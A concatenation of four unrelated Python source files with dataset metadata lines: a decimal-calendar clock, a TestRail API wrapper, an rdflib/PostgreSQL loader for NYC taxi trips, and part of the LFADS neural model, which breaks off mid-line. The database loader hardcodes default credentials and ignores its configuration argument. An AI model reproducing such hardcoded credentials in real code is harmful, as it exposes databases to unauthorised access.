from datetime import datetime import datetime as DT import time import calendar class Clock(object): def __init__(self,offset=None): self.timezone=None if offset is not None: self.timezone=DT.timezone(DT.timedelta(hours=offset)) def to_str(self,timestamp=None,with_orig=False): if not timestamp: timestamp=datetime.now(self.timezone) if with_orig: return timestamp,"{month_name} {day}, {year} {clock}".format(**self.as_dict(timestamp)) return "{month_name} {day}, {year} {clock}".format(**self.as_dict(timestamp)) def date(self,D=None): if D is None: D=datetime.now(self.timezone) months=[ "Unesamber","Dutesamber","Trisesamber", "Tetresamber","Pentesamber","Hexesamber", "Sevesamber","Octesamber","Novesamber", "Desamber","Undesamber","Dodesamber", "Tridesamber","Year Day","Leap Day" ] D=D.timetuple() yd=D.tm_yday-1 if calendar.isleap(D.tm_year): if yd==365: return "Leap Day" if yd==366: return "Year Day" elif yd==365: return "Year Day" P=yd/(365+int(calendar.isleap(D.tm_year))) month=int(P*(len(months)-2)) month_name=months[month] day=((yd-1)%28)+1 ret={"month_name":month_name,"month":month+1,"day":day,"year":D.tm_year} ret['date']="{month_name} {day}, {year}".format(**ret) return ret def time(self,D=None): if D is None: D=datetime.now(self.timezone) T=(D.time().microsecond/1000000+time.mktime(D.timetuple()))%(24*60*60) T="{:03.03f}".format((T/(24*60*60))*1000).zfill(7) T=T.replace(".",":") return {"clock":T,"above":T.split(":")[0],"below":T.split(":")[1]} def as_dict(self,D=None): if D is None: D=datetime.now(self.timezone) ret={'calendar':{ "day":D.day, "month":D.month, "year":D.year, "time":D.time(), "date":D.date(), "hour":D.hour, "minute":D.minute, "second":D.second, }} ret.update(self.date(D)) ret.update(self.time(D)) ret['timestamp']="{month_name} {day}, {year} {clock}".format(**ret) return ret Clock().time()
mit
9,209,623,380,115,924,000
35.97
99
0.522
false
JASON0916/testrail-library
testrail_client/api/__init__.py
1
1827
#!/usr/bin/env python # -*- coding: utf-8 -*- from .case import Case from .configurations import Config from .milestone import MileStone from .plan import Plan from .project import Project from .result import Result from .run import Run from .section import Section from .suite import Suite from .test import Test from .user import User class TestRailAPI(object): __version__ = 'v2' def __init__(self, url, user_name, password): self.url = url self.user_name = user_name self.password = password def __repr__(self): return '<TestRail API>' @property def user(self): return User(self.url, self.user_name, self.password) @property def case(self): return Case(self.url, self.user_name, self.password) @property def config(self): return Config(self.url, self.user_name, self.password) @property def milestone(self): return MileStone(self.url, self.user_name, self.password) @property def plan(self): return Plan(self.url, self.user_name, self.password) @property def project(self): return Project(self.url, self.user_name, self.password) @property def result(self): return Result(self.url, self.user_name, self.password) @property def run(self): return Run(self.url, self.user_name, self.password) @property def section(self): return Section(self.url, self.user_name, self.password) @property def suite(self): return Suite(self.url, self.user_name, self.password) @property def test(self): return Test(self.url, self.user_name, self.password)
mit
-2,382,219,271,476,809,700
25.1
165
0.597
false
nikha1/nyc-taxi
Tools/PostgresRDF/utils/postgresInterface.py
1
3639
from dateutil import parser from rdflib import Graph, Literal, BNode, Namespace, RDF, XSD, URIRef import queries global SSN global GEO global DUL # SSN Namespace SSN = Namespace('https://www.w3.org/2005/Incubator/ssn/ssnx/ssn#') # Geo Namespace GEO = Namespace('http://www.w3.org/2003/01/geo/wgs84_pos#') # DUL Namespace DUL = Namespace('http://www.ontologydesignpatterns.org/ont/dul/DUL.owl#') def addToGraph(event, graphURI = "http://example.com/g1", db_conf={"dbname" : "postgres", "user" : "postgres", "password" : "admin" }): #configString = ("dbname=postgres user=waccess password=write") configString = ("dbname=" + db_conf['dbname'] + " user="+ db_conf['user'] + " password=" + db_conf['password']) #print configString graph = Graph('PostgreSQL', identifier=URIRef(graphURI)) graph.open(configString, create=False) graph.bind('ssn', SSN) graph.bind('geo', GEO) graph.bind('dul', DUL) observation = BNode(); oTime = BNode(); # Observation graph.add((observation, RDF.type, SSN.Observation)) graph.add((oTime, RDF.type, DUL.TimeInterval)) graph.add((observation, SSN.observationSamplingTime, oTime)) # Time date = parser.parse(event['pickup_datetime']) t = Literal(date.strftime("%Y-%m-%dT%H:%M:%S"), datatype=XSD.dateTime) graph.add((oTime, DUL.hasRegionDataValue, t)) # SensorOutput sensorOutput = BNode(); graph.add((sensorOutput, RDF.type, SSN.SensorOutput)) graph.add((observation, SSN.observationResult, sensorOutput)) # ObservationValue observationValue = BNode() startLocation = BNode() endLocation = BNode() graph.add((observationValue, RDF.type, SSN.ObservationValue)) graph.add((sensorOutput, SSN.hasValue, observationValue)) # Start and End Location graph.add((observationValue, SSN.hasStartLocation, startLocation)) graph.add((observationValue, SSN.hasEndLocation, endLocation)) graph.add((startLocation, RDF.type, GEO.location)) graph.add((endLocation, RDF.type, GEO.location)) # Start Location lat = Literal(event['pickup_latitude'], datatype=XSD.float) long = Literal(event['pickup_longitude'], datatype=XSD.float) # Adding the start location graph.add((startLocation, GEO.lat, lat)) graph.add((startLocation, GEO.long, long)) # End Location lat = Literal(event['dropoff_latitude'], datatype=XSD.float) long = Literal(event['dropoff_longitude'], datatype=XSD.float) # Adding the start location graph.add((endLocation, GEO.lat, lat)) graph.add((endLocation, GEO.long, long)) #Duration date1 = parser.parse(event['dropoff_datetime']) date2 = parser.parse(event['pickup_datetime']) dur = date1 - date2 duration = Literal(str(dur), datatype=XSD.float) graph.add((observation, SSN.hasDuration, duration)) #print str(graph.__len__() / 11) #Commit and close the graph graph.commit() graph.close() def removeFromGraph(timestamp, graphURI = "http://example.com/g1", db_conf={"dbname" : "postgres", "user" : "postgres", "password" : "admin" }): configString = ("dbname=postgres user=waccess password=write") #configString = ("dbname=" + db_conf['dbname'] + "user="+ db_conf['user'] + " password=" + db_conf['password']) graph = Graph('PostgreSQL', identifier=URIRef(graphURI)) graph.open(configString, create=False) results = graph.query(queries.getEvents(timestamp)) print len(results) for result in results: for node in result: graph.remove((node, None, None)) # Commit and close the graph graph.commit() graph.close()
mit
2,477,461,874,589,206,500
33.009
144
0.677
false
jiaphuan/models
research/lfads/lfads.py
1
87185
# Copyright 2017 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # ============================================================================== """ LFADS - Latent Factor Analysis via Dynamical Systems. LFADS is an unsupervised method to decompose time series data into various factors, such as an initial condition, a generative dynamical system, control inputs to that generator, and a low dimensional description of the observed data, called the factors. Additionally, the observations have a noise model (in this case Poisson), so a denoised version of the observations is also created (e.g. underlying rates of a Poisson distribution given the observed event counts). The main data structure being passed around is a dataset. This is a dictionary of data dictionaries. DATASET: The top level dictionary is simply name (string -> dictionary). The nested dictionary is the DATA DICTIONARY, which has the following keys: 'train_data' and 'valid_data', whose values are the corresponding training and validation data with shape ExTxD, E - # examples, T - # time steps, D - # dimensions in data. The data dictionary also has a few more keys: 'train_ext_input' and 'valid_ext_input', if there are know external inputs to the system being modeled, these take on dimensions: ExTxI, E - # examples, T - # time steps, I = # dimensions in input. 'alignment_matrix_cxf' - If you are using multiple days data, it's possible that one can align the channels (see manuscript). If so each dataset will contain this matrix, which will be used for both the input adapter and the output adapter for each dataset. These matrices, if provided, must be of size [data_dim x factors] where data_dim is the number of neurons recorded on that day, and factors is chosen and set through the '--factors' flag. 'alignment_bias_c' - See alignment_matrix_cxf. This bias will used to the offset for the alignment transformation. It will *subtract* off the bias from the data, so pca style inits can align factors across sessions. If one runs LFADS on data where the true rates are known for some trials, (say simulated, testing data, as in the example shipped with the paper), then one can add three more fields for plotting purposes. These are 'train_truth' and 'valid_truth', and 'conversion_factor'. These have the same dimensions as 'train_data', and 'valid_data' but represent the underlying rates of the observations. Finally, if one needs to convert scale for plotting the true underlying firing rates, there is the 'conversion_factor' key. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np import os import tensorflow as tf from distributions import LearnableDiagonalGaussian, DiagonalGaussianFromInput from distributions import diag_gaussian_log_likelihood from distributions import KLCost_GaussianGaussian, Poisson from distributions import LearnableAutoRegressive1Prior from distributions import KLCost_GaussianGaussianProcessSampled from utils import init_linear, linear, list_t_bxn_to_tensor_bxtxn, write_data from utils import log_sum_exp, flatten from plot_lfads import plot_lfads class GRU(object): """Gated Recurrent Unit cell (cf. http://arxiv.org/abs/1406.1078). """ def __init__(self, num_units, forget_bias=1.0, weight_scale=1.0, clip_value=np.inf, collections=None): """Create a GRU object. Args: num_units: Number of units in the GRU forget_bias (optional): Hack to help learning. weight_scale (optional): weights are scaled by ws/sqrt(#inputs), with ws being the weight scale. clip_value (optional): if the recurrent values grow above this value, clip them. collections (optional): List of additonal collections variables should belong to. """ self._num_units = num_units self._forget_bias = forget_bias self._weight_scale = weight_scale self._clip_value = clip_value self._collections = collections @property def state_size(self): return self._num_units @property def output_size(self): return self._num_units @property def state_multiplier(self): return 1 def output_from_state(self, state): """Return the output portion of the state.""" return state def __call__(self, inputs, state, scope=None): """Gated recurrent unit (GRU) function. Args: inputs: A 2D batch x input_dim tensor of inputs. state: The previous state from the last time step. scope (optional): TF variable scope for defined GRU variables. Returns: A tuple (state, state), where state is the newly computed state at time t. It is returned twice to respect an interface that works for LSTMs. """ x = inputs h = state if inputs is not None: xh = tf.concat(axis=1, values=[x, h]) else: xh = h with tf.variable_scope(scope or type(self).__name__): # "GRU" with tf.variable_scope("Gates"): # Reset gate and update gate. # We start with bias of 1.0 to not reset and not update. r, u = tf.split(axis=1, num_or_size_splits=2, value=linear(xh, 2 * self._num_units, alpha=self._weight_scale, name="xh_2_ru", collections=self._collections)) r, u = tf.sigmoid(r), tf.sigmoid(u + self._forget_bias) with tf.variable_scope("Candidate"): xrh = tf.concat(axis=1, values=[x, r * h]) c = tf.tanh(linear(xrh, self._num_units, name="xrh_2_c", collections=self._collections)) new_h = u * h + (1 - u) * c new_h = tf.clip_by_value(new_h, -self._clip_value, self._clip_value) return new_h, new_h class GenGRU(object): """Gated Recurrent Unit cell (cf. http://arxiv.org/abs/1406.1078). This version is specialized for the generator, but isn't as fast, so we have two. Note this allows for l2 regularization on the recurrent weights, but also implicitly rescales the inputs via the 1/sqrt(input) scaling in the linear helper routine to be large magnitude, if there are fewer inputs than recurrent state. """ def __init__(self, num_units, forget_bias=1.0, input_weight_scale=1.0, rec_weight_scale=1.0, clip_value=np.inf, input_collections=None, recurrent_collections=None): """Create a GRU object. Args: num_units: Number of units in the GRU forget_bias (optional): Hack to help learning. input_weight_scale (optional): weights are scaled ws/sqrt(#inputs), with ws being the weight scale. rec_weight_scale (optional): weights are scaled ws/sqrt(#inputs), with ws being the weight scale. clip_value (optional): if the recurrent values grow above this value, clip them. input_collections (optional): List of additonal collections variables that input->rec weights should belong to. recurrent_collections (optional): List of additonal collections variables that rec->rec weights should belong to. """ self._num_units = num_units self._forget_bias = forget_bias self._input_weight_scale = input_weight_scale self._rec_weight_scale = rec_weight_scale self._clip_value = clip_value self._input_collections = input_collections self._rec_collections = recurrent_collections @property def state_size(self): return self._num_units @property def output_size(self): return self._num_units @property def state_multiplier(self): return 1 def output_from_state(self, state): """Return the output portion of the state.""" return state def __call__(self, inputs, state, scope=None): """Gated recurrent unit (GRU) function. Args: inputs: A 2D batch x input_dim tensor of inputs. state: The previous state from the last time step. scope (optional): TF variable scope for defined GRU variables. Returns: A tuple (state, state), where state is the newly computed state at time t. It is returned twice to respect an interface that works for LSTMs. """ x = inputs h = state with tf.variable_scope(scope or type(self).__name__): # "GRU" with tf.variable_scope("Gates"): # Reset gate and update gate. # We start with bias of 1.0 to not reset and not update. r_x = u_x = 0.0 if x is not None: r_x, u_x = tf.split(axis=1, num_or_size_splits=2, value=linear(x, 2 * self._num_units, alpha=self._input_weight_scale, do_bias=False, name="x_2_ru", normalized=False, collections=self._input_collections)) r_h, u_h = tf.split(axis=1, num_or_size_splits=2, value=linear(h, 2 * self._num_units, do_bias=True, alpha=self._rec_weight_scale, name="h_2_ru", collections=self._rec_collections)) r = r_x + r_h u = u_x + u_h r, u = tf.sigmoid(r), tf.sigmoid(u + self._forget_bias) with tf.variable_scope("Candidate"): c_x = 0.0 if x is not None: c_x = linear(x, self._num_units, name="x_2_c", do_bias=False, alpha=self._input_weight_scale, normalized=False, collections=self._input_collections) c_rh = linear(r*h, self._num_units, name="rh_2_c", do_bias=True, alpha=self._rec_weight_scale, collections=self._rec_collections) c = tf.tanh(c_x + c_rh) new_h = u * h + (1 - u) * c new_h = tf.clip_by_value(new_h, -self._clip_value, self._clip_value) return new_h, new_h class LFADS(object): """LFADS - Latent Factor Analysis via Dynamical Systems. LFADS is an unsupervised method to decompose time series data into various factors, such as an initial condition, a generative dynamical system, inferred inputs to that generator, and a low dimensional description of the observed data, called the factors. Additoinally, the observations have a noise model (in this case Poisson), so a denoised version of the observations is also created (e.g. underlying rates of a Poisson distribution given the observed event counts). """ def __init__(self, hps, kind="train", datasets=None): """Create an LFADS model. train - a model for training, sampling of posteriors is used posterior_sample_and_average - sample from the posterior, this is used for evaluating the expected value of the outputs of LFADS, given a specific input, by averaging over multiple samples from the approx posterior. Also used for the lower bound on the negative log-likelihood using IWAE error (Importance Weighed Auto-encoder). This is the denoising operation. prior_sample - a model for generation - sampling from priors is used Args: hps: The dictionary of hyper parameters. kind: the type of model to build (see above). datasets: a dictionary of named data_dictionaries, see top of lfads.py """ print("Building graph...") all_kinds = ['train', 'posterior_sample_and_average', 'prior_sample'] assert kind in all_kinds, 'Wrong kind' if hps.feedback_factors_or_rates == "rates": assert len(hps.dataset_names) == 1, \ "Multiple datasets not supported for rate feedback." num_steps = hps.num_steps ic_dim = hps.ic_dim co_dim = hps.co_dim ext_input_dim = hps.ext_input_dim cell_class = GRU gen_cell_class = GenGRU def makelambda(v): # Used with tf.case return lambda: v # Define the data placeholder, and deal with all parts of the graph # that are dataset dependent. self.dataName = tf.placeholder(tf.string, shape=()) # The batch_size to be inferred from data, as normal. # Additionally, the data_dim will be inferred as well, allowing for a # single placeholder for all datasets, regardless of data dimension. if hps.output_dist == 'poisson': # Enforce correct dtype assert np.issubdtype( datasets[hps.dataset_names[0]]['train_data'].dtype, int), \ "Data dtype must be int for poisson output distribution" data_dtype = tf.int32 elif hps.output_dist == 'gaussian': assert np.issubdtype( datasets[hps.dataset_names[0]]['train_data'].dtype, float), \ "Data dtype must be float for gaussian output dsitribution" data_dtype = tf.float32 else: assert False, "NIY" self.dataset_ph = dataset_ph = tf.placeholder(data_dtype, [None, num_steps, None], name="data") self.train_step = tf.get_variable("global_step", [], tf.int64, tf.zeros_initializer(), trainable=False) self.hps = hps ndatasets = hps.ndatasets factors_dim = hps.factors_dim self.preds = preds = [None] * ndatasets self.fns_in_fac_Ws = fns_in_fac_Ws = [None] * ndatasets self.fns_in_fatcor_bs = fns_in_fac_bs = [None] * ndatasets self.fns_out_fac_Ws = fns_out_fac_Ws = [None] * ndatasets self.fns_out_fac_bs = fns_out_fac_bs = [None] * ndatasets self.datasetNames = dataset_names = hps.dataset_names self.ext_inputs = ext_inputs = None if len(dataset_names) == 1: # single session if 'alignment_matrix_cxf' in datasets[dataset_names[0]].keys(): used_in_factors_dim = factors_dim in_identity_if_poss = False else: used_in_factors_dim = hps.dataset_dims[dataset_names[0]] in_identity_if_poss = True else: # multisession used_in_factors_dim = factors_dim in_identity_if_poss = False for d, name in enumerate(dataset_names): data_dim = hps.dataset_dims[name] in_mat_cxf = None in_bias_1xf = None align_bias_1xc = None if datasets and 'alignment_matrix_cxf' in datasets[name].keys(): dataset = datasets[name] if hps.do_train_readin: print("Initializing trainable readin matrix with alignment matrix" \ " provided for dataset:", name) else: print("Setting non-trainable readin matrix to alignment matrix" \ " provided for dataset:", name) in_mat_cxf = dataset['alignment_matrix_cxf'].astype(np.float32) if in_mat_cxf.shape != (data_dim, factors_dim): raise ValueError("""Alignment matrix must have dimensions %d x %d (data_dim x factors_dim), but currently has %d x %d."""% (data_dim, factors_dim, in_mat_cxf.shape[0], in_mat_cxf.shape[1])) if datasets and 'alignment_bias_c' in datasets[name].keys(): dataset = datasets[name] if hps.do_train_readin: print("Initializing trainable readin bias with alignment bias " \ "provided for dataset:", name) else: print("Setting non-trainable readin bias to alignment bias " \ "provided for dataset:", name) align_bias_c = dataset['alignment_bias_c'].astype(np.float32) align_bias_1xc = np.expand_dims(align_bias_c, axis=0) if align_bias_1xc.shape[1] != data_dim: raise ValueError("""Alignment bias must have dimensions %d (data_dim), but currently has %d."""% (data_dim, in_mat_cxf.shape[0])) if in_mat_cxf is not None and align_bias_1xc is not None: # (data - alignment_bias) * W_in # data * W_in - alignment_bias * W_in # So b = -alignment_bias * W_in to accommodate PCA style offset. in_bias_1xf = -np.dot(align_bias_1xc, in_mat_cxf) if hps.do_train_readin: # only add to IO transformations collection only if we want it to be # learnable, because IO_transformations collection will be trained # when do_train_io_only collections_readin=['IO_transformations'] else: collections_readin=None in_fac_lin = init_linear(data_dim, used_in_factors_dim, do_bias=True, mat_init_value=in_mat_cxf, bias_init_value=in_bias_1xf, identity_if_possible=in_identity_if_poss, normalized=False, name="x_2_infac_"+name, collections=collections_readin, trainable=hps.do_train_readin) in_fac_W, in_fac_b = in_fac_lin fns_in_fac_Ws[d] = makelambda(in_fac_W) fns_in_fac_bs[d] = makelambda(in_fac_b) with tf.variable_scope("glm"): out_identity_if_poss = False if len(dataset_names) == 1 and \ factors_dim == hps.dataset_dims[dataset_names[0]]: out_identity_if_poss = True for d, name in enumerate(dataset_names): data_dim = hps.dataset_dims[name] in_mat_cxf = None if datasets and 'alignment_matrix_cxf' in datasets[name].keys(): dataset = datasets[name] in_mat_cxf = dataset['alignment_matrix_cxf'].astype(np.float32) if datasets and 'alignment_bias_c' in datasets[name].keys(): dataset = datasets[name] align_bias_c = dataset['alignment_bias_c'].astype(np.float32) align_bias_1xc = np.expand_dims(align_bias_c, axis=0) out_mat_fxc = None out_bias_1xc = None if in_mat_cxf is not None: out_mat_fxc = in_mat_cxf.T if align_bias_1xc is not None: out_bias_1xc = align_bias_1xc if hps.output_dist == 'poisson': out_fac_lin = init_linear(factors_dim, data_dim, do_bias=True, mat_init_value=out_mat_fxc, bias_init_value=out_bias_1xc, identity_if_possible=out_identity_if_poss, normalized=False, name="fac_2_logrates_"+name, collections=['IO_transformations']) out_fac_W, out_fac_b = out_fac_lin elif hps.output_dist == 'gaussian': out_fac_lin_mean = \ init_linear(factors_dim, data_dim, do_bias=True, mat_init_value=out_mat_fxc, bias_init_value=out_bias_1xc, normalized=False, name="fac_2_means_"+name, collections=['IO_transformations']) out_fac_W_mean, out_fac_b_mean = out_fac_lin_mean mat_init_value = np.zeros([factors_dim, data_dim]).astype(np.float32) bias_init_value = np.ones([1, data_dim]).astype(np.float32) out_fac_lin_logvar = \ init_linear(factors_dim, data_dim, do_bias=True, mat_init_value=mat_init_value, bias_init_value=bias_init_value, normalized=False, name="fac_2_logvars_"+name, collections=['IO_transformations']) out_fac_W_mean, out_fac_b_mean = out_fac_lin_mean out_fac_W_logvar, out_fac_b_logvar = out_fac_lin_logvar out_fac_W = tf.concat( axis=1, values=[out_fac_W_mean, out_fac_W_logvar]) out_fac_b = tf.concat( axis=1, values=[out_fac_b_mean, out_fac_b_logvar]) else: assert False, "NIY" preds[d] = tf.equal(tf.constant(name), self.dataName) data_dim = hps.dataset_dims[name] fns_out_fac_Ws[d] = makelambda(out_fac_W) fns_out_fac_bs[d] = makelambda(out_fac_b) pf_pairs_in_fac_Ws = zip(preds, fns_in_fac_Ws) pf_pairs_in_fac_bs = zip(preds, fns_in_fac_bs) pf_pairs_out_fac_Ws = zip(preds, fns_out_fac_Ws) pf_pairs_out_fac_bs = zip(preds, fns_out_fac_bs) def _case_with_no_default(pairs): def _default_value_fn(): with tf.control_dependencies([tf.Assert(False, ["Reached default"])]): return tf.identity(pairs[0][1]()) return tf.case(pairs, _default_value_fn, exclusive=True) this_in_fac_W = _case_with_no_default(pf_pairs_in_fac_Ws) this_in_fac_b = _case_with_no_default(pf_pairs_in_fac_bs) this_out_fac_W = _case_with_no_default(pf_pairs_out_fac_Ws) this_out_fac_b = _case_with_no_default(pf_pairs_out_fac_bs) # External inputs (not changing by dataset, by definition). if hps.ext_input_dim > 0: self.ext_input = tf.placeholder(tf.float32, [None, num_steps, ext_input_dim], name="ext_input") else: self.ext_input = None ext_input_bxtxi = self.ext_input self.keep_prob = keep_prob = tf.placeholder(tf.float32, [], "keep_prob") self.batch_size = batch_size = int(hps.batch_size) self.learning_rate = tf.Variable(float(hps.learning_rate_init), trainable=False, name="learning_rate") self.learning_rate_decay_op = self.learning_rate.assign( self.learning_rate * hps.learning_rate_decay_factor) # Dropout the data. dataset_do_bxtxd = tf.nn.dropout(tf.to_float(dataset_ph), keep_prob) if hps.ext_input_dim > 0: ext_input_do_bxtxi = tf.nn.dropout(ext_input_bxtxi, keep_prob) else: ext_input_do_bxtxi = None # ENCODERS def encode_data(dataset_bxtxd, enc_cell, name, forward_or_reverse, num_steps_to_encode): """Encode data for LFADS Args: dataset_bxtxd - the data to encode, as a 3 tensor, with dims time x batch x data dims. enc_cell: encoder cell name: name of encoder forward_or_reverse: string, encode in forward or reverse direction num_steps_to_encode: number of steps to encode, 0:num_steps_to_encode Returns: encoded data as a list with num_steps_to_encode items, in order """ if forward_or_reverse == "forward": dstr = "_fwd" time_fwd_or_rev = range(num_steps_to_encode) else: dstr = "_rev" time_fwd_or_rev = reversed(range(num_steps_to_encode)) with tf.variable_scope(name+"_enc"+dstr, reuse=False): enc_state = tf.tile( tf.Variable(tf.zeros([1, enc_cell.state_size]), name=name+"_enc_t0"+dstr), tf.stack([batch_size, 1])) enc_state.set_shape([None, enc_cell.state_size]) # tile loses shape enc_outs = [None] * num_steps_to_encode for i, t in enumerate(time_fwd_or_rev): with tf.variable_scope(name+"_enc"+dstr, reuse=True if i > 0 else None): dataset_t_bxd = dataset_bxtxd[:,t,:] in_fac_t_bxf = tf.matmul(dataset_t_bxd, this_in_fac_W) + this_in_fac_b in_fac_t_bxf.set_shape([None, used_in_factors_dim]) if ext_input_dim > 0 and not hps.inject_ext_input_to_gen: ext_input_t_bxi = ext_input_do_bxtxi[:,t,:] enc_input_t_bxfpe = tf.concat( axis=1, values=[in_fac_t_bxf, ext_input_t_bxi]) else: enc_input_t_bxfpe = in_fac_t_bxf enc_out, enc_state = enc_cell(enc_input_t_bxfpe, enc_state) enc_outs[t] = enc_out return enc_outs # Encode initial condition means and variances # ([x_T, x_T-1, ... x_0] and [x_0, x_1, ... x_T] -> g0/c0) self.ic_enc_fwd = [None] * num_steps self.ic_enc_rev = [None] * num_steps if ic_dim > 0: enc_ic_cell = cell_class(hps.ic_enc_dim, weight_scale=hps.cell_weight_scale, clip_value=hps.cell_clip_value) ic_enc_fwd = encode_data(dataset_do_bxtxd, enc_ic_cell, "ic", "forward", hps.num_steps_for_gen_ic) ic_enc_rev = encode_data(dataset_do_bxtxd, enc_ic_cell, "ic", "reverse", hps.num_steps_for_gen_ic) self.ic_enc_fwd = ic_enc_fwd self.ic_enc_rev = ic_enc_rev # Encoder control input means and variances, bi-directional encoding so: # ([x_T, x_T-1, ..., x_0] and [x_0, x_1 ... x_T] -> u_t) self.ci_enc_fwd = [None] * num_steps self.ci_enc_rev = [None] * num_steps if co_dim > 0: enc_ci_cell = cell_class(hps.ci_enc_dim, weight_scale=hps.cell_weight_scale, clip_value=hps.cell_clip_value) ci_enc_fwd = encode_data(dataset_do_bxtxd, enc_ci_cell, "ci", "forward", hps.num_steps) if hps.do_causal_controller: ci_enc_rev = None else: ci_enc_rev = encode_data(dataset_do_bxtxd, enc_ci_cell, "ci", "reverse", hps.num_steps) self.ci_enc_fwd = ci_enc_fwd self.ci_enc_rev = ci_enc_rev # STOCHASTIC LATENT VARIABLES, priors and posteriors # (initial conditions g0, and control inputs, u_t) # Note that zs represent all the stochastic latent variables. with tf.variable_scope("z", reuse=False): self.prior_zs_g0 = None self.posterior_zs_g0 = None self.g0s_val = None if ic_dim > 0: self.prior_zs_g0 = \ LearnableDiagonalGaussian(batch_size, ic_dim, name="prior_g0", mean_init=0.0, var_min=hps.ic_prior_var_min, var_init=hps.ic_prior_var_scale, var_max=hps.ic_prior_var_max) ic_enc = tf.concat(axis=1, values=[ic_enc_fwd[-1], ic_enc_rev[0]]) ic_enc = tf.nn.dropout(ic_enc, keep_prob) self.posterior_zs_g0 = \ DiagonalGaussianFromInput(ic_enc, ic_dim, "ic_enc_2_post_g0", var_min=hps.ic_post_var_min) if kind in ["train", "posterior_sample_and_average"]: zs_g0 = self.posterior_zs_g0 else: zs_g0 = self.prior_zs_g0 if kind in ["train", "posterior_sample_and_average", "prior_sample"]: self.g0s_val = zs_g0.sample else: self.g0s_val = zs_g0.mean # Priors for controller, 'co' for controller output self.prior_zs_co = prior_zs_co = [None] * num_steps self.posterior_zs_co = posterior_zs_co = [None] * num_steps self.zs_co = zs_co = [None] * num_steps self.prior_zs_ar_con = None if co_dim > 0: # Controller outputs autocorrelation_taus = [hps.prior_ar_atau for x in range(hps.co_dim)] noise_variances = [hps.prior_ar_nvar for x in range(hps.co_dim)] self.prior_zs_ar_con = prior_zs_ar_con = \ LearnableAutoRegressive1Prior(batch_size, hps.co_dim, autocorrelation_taus, noise_variances, hps.do_train_prior_ar_atau, hps.do_train_prior_ar_nvar, num_steps, "u_prior_ar1") # CONTROLLER -> GENERATOR -> RATES # (u(t) -> gen(t) -> factors(t) -> rates(t) -> p(x_t|z_t) ) self.controller_outputs = u_t = [None] * num_steps self.con_ics = con_state = None self.con_states = con_states = [None] * num_steps self.con_outs = con_outs = [None] * num_steps self.gen_inputs = gen_inputs = [None] * num_steps if co_dim > 0: # gen_cell_class here for l2 penalty recurrent weights # didn't split the cell_weight scale here, because I doubt it matters con_cell = gen_cell_class(hps.con_dim, input_weight_scale=hps.cell_weight_scale, rec_weight_scale=hps.cell_weight_scale, clip_value=hps.cell_clip_value, recurrent_collections=['l2_con_reg']) with tf.variable_scope("con", reuse=False): self.con_ics = tf.tile( tf.Variable(tf.zeros([1, hps.con_dim*con_cell.state_multiplier]), \ name="c0"), tf.stack([batch_size, 1])) self.con_ics.set_shape([None, con_cell.state_size]) # tile loses shape con_states[-1] = self.con_ics gen_cell = gen_cell_class(hps.gen_dim, input_weight_scale=hps.gen_cell_input_weight_scale, rec_weight_scale=hps.gen_cell_rec_weight_scale, clip_value=hps.cell_clip_value, recurrent_collections=['l2_gen_reg']) with tf.variable_scope("gen", reuse=False): if ic_dim == 0: self.gen_ics = tf.tile( tf.Variable(tf.zeros([1, gen_cell.state_size]), name="g0"), tf.stack([batch_size, 1])) else: self.gen_ics = linear(self.g0s_val, gen_cell.state_size, identity_if_possible=True, name="g0_2_gen_ic") self.gen_states = gen_states = [None] * num_steps self.gen_outs = gen_outs = [None] * num_steps gen_states[-1] = self.gen_ics gen_outs[-1] = gen_cell.output_from_state(gen_states[-1]) self.factors = factors = [None] * num_steps factors[-1] = linear(gen_outs[-1], factors_dim, do_bias=False, normalized=True, name="gen_2_fac") self.rates = rates = [None] * num_steps # rates[-1] is collected to potentially feed back to controller with tf.variable_scope("glm", reuse=False): if hps.output_dist == 'poisson': log_rates_t0 = tf.matmul(factors[-1], this_out_fac_W) + this_out_fac_b log_rates_t0.set_shape([None, None]) rates[-1] = tf.exp(log_rates_t0) # rate rates[-1].set_shape([None, hps.dataset_dims[hps.dataset_names[0]]]) elif hps.output_dist == 'gaussian': mean_n_logvars = tf.matmul(factors[-1],this_out_fac_W) + this_out_fac_b mean_n_logvars.set_shape([None, None]) means_t_bxd, logvars_t_bxd = tf.split(axis=1, num_or_size_splits=2, value=mean_n_logvars) rates[-1] = means_t_bxd else: assert False, "NIY" # We support mulitple output distributions, for example Poisson, and also # Gaussian. In these two cases respectively, there are one and two # parameters (rates vs. mean and variance). So the output_dist_params # tensor will variable sizes via tf.concat and tf.split, along the 1st # dimension. So in the case of gaussian, for example, it'll be # batch x (D+D), where each D dims is the mean, and then variances, # respectively. For a distribution with 3 parameters, it would be # batch x (D+D+D). self.output_dist_params = dist_params = [None] * num_steps self.log_p_xgz_b = log_p_xgz_b = 0.0 # log P(x|z) for t in range(num_steps): # Controller if co_dim > 0: # Build inputs for controller tlag = t - hps.controller_input_lag if tlag < 0: con_in_f_t = tf.zeros_like(ci_enc_fwd[0]) else: con_in_f_t = ci_enc_fwd[tlag] if hps.do_causal_controller: # If controller is causal (wrt to data generation process), then it # cannot see future data. Thus, excluding ci_enc_rev[t] is obvious. # Less obvious is the need to exclude factors[t-1]. This arises # because information flows from g0 through factors to the controller # input. The g0 encoding is backwards, so we must necessarily exclude # the factors in order to keep the controller input purely from a # forward encoding (however unlikely it is that # g0->factors->controller channel might actually be used in this way). con_in_list_t = [con_in_f_t] else: tlag_rev = t + hps.controller_input_lag if tlag_rev >= num_steps: # better than zeros con_in_r_t = tf.zeros_like(ci_enc_rev[0]) else: con_in_r_t = ci_enc_rev[tlag_rev] con_in_list_t = [con_in_f_t, con_in_r_t] if hps.do_feed_factors_to_controller: if hps.feedback_factors_or_rates == "factors": con_in_list_t.append(factors[t-1]) elif hps.feedback_factors_or_rates == "rates": con_in_list_t.append(rates[t-1]) else: assert False, "NIY" con_in_t = tf.concat(axis=1, values=con_in_list_t) con_in_t = tf.nn.dropout(con_in_t, keep_prob) with tf.variable_scope("con", reuse=True if t > 0 else None): con_outs[t], con_states[t] = con_cell(con_in_t, con_states[t-1]) posterior_zs_co[t] = \ DiagonalGaussianFromInput(con_outs[t], co_dim, name="con_to_post_co") if kind == "train": u_t[t] = posterior_zs_co[t].sample elif kind == "posterior_sample_and_average": u_t[t] = 